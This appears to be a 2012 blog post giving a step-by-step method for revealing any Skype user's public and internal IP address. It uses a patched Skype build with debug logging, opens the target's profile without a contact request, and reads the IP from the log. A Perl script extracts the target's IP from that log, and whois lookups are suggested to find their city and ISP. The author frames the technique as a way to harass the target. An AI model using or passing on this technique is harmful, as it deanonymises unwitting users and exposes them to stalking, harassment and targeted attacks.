2012年5月2日水曜日

Skype user IP-address disclosure

  1. 1. Downloading this patched version of Skype 5.5:
  2. http://skype-open-source.blogspot.com/2012/03/skype55-deobfuscated-released.html
  3.  
  4. 2. Turn on debug-log file creation via adding a few registry keys.
  5. https://github.com/skypeopensource/skypeopensource/wiki/skype-3.x-4.x-5.x-enable-logging
  6.  
  7. 3. Make "add a Skype contact" action, but not send add request, just click on user, to view his vcard(general info about user). This will be enough.
  8.  
  9. 4. Take look in the log of the desired skypename.
  10. The record will be like this for real user ip: -r195.100.213.25:31101
  11. And like this for user internal network card ip: -l172.10.5.17
  12.  
  13. 21:16:45.818 T # 3668 PresenceManager: a?? noticing skypetestuser1 0x3e54a539a91a19fc-s-s65.55.223.23 :40013-r195 .100.213.25:31101-l172 .10.5.17:22960 23d23109 82f328ff
  14.  
  15. 5. Catch user via whois service.
  16. http://nic.ru/whois/?query=195.100.213.25
  17.  
  18. This is help you to get info about skype user: City, Country, Internet provider and internal user ip-address.
  19.  
  20. Now you can troll him about CIA and Mossad, he-he.
  21.  
  22. ---
  23. Perl script to automate the search in the debug log.
  24. ---
  25. #!perl
  26.  
  27. $LOGFILE="debug-20120420-2257.log";
  28. $SKYPENAME="skypetestuser1";
  29.  
  30. open(RD,$LOGFILE);
  31. open(WR,">_ip_logger.txt");
  32. while(<RD>){ chomp;
  33. $line=$_;
  34.  
  35. if( ($line=~ /PresenceManager:/) and ($line=~ /noticing/) ){
  36.   $line=~ /-r(\d+.\d+.\d+.\d+)/;
  37.   $ip=$1;
  38.  
  39.   print WR $line."\n";
  40.   print WR "IP: $ip\n";
  41.  
  42.   if ($line=~ /$SKYPENAME/){
  43.    print $line."\n";
  44.    print "${SKYPENAME} IP: $ip\n";
  45.   };
  46. };
  47.  
  48. };
  49. close(RD);
  50. close(WR);
  51. ---

0 件のコメント:

コメントを投稿